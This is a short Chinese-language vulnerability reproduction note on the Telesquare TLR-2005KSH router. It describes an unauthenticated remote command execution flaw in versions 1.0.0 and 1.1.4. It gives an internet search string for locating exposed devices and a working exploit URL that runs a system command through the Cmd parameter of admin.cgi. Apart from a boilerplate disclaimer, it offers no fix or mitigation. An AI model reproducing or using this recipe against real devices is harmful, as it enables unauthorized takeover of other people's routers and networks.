声明:
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
简介
Telesquare TLR-2005KSH是韩国Telesquare公司的一款路由器。
Telesquare TLR-2005Ksh版本1.0.0和1.1.4存在未经授权的远程命令执行漏洞。攻击者可以利用此漏洞在未经cmd参数授权的情况下执行系统命令,并获取服务器权限。
资产搜索
title="Login to TLR-2005KSH"
漏洞复现
http://127.0.0.1/cgi-bin/admin.cgi?Command=sysCommand&Cmd=id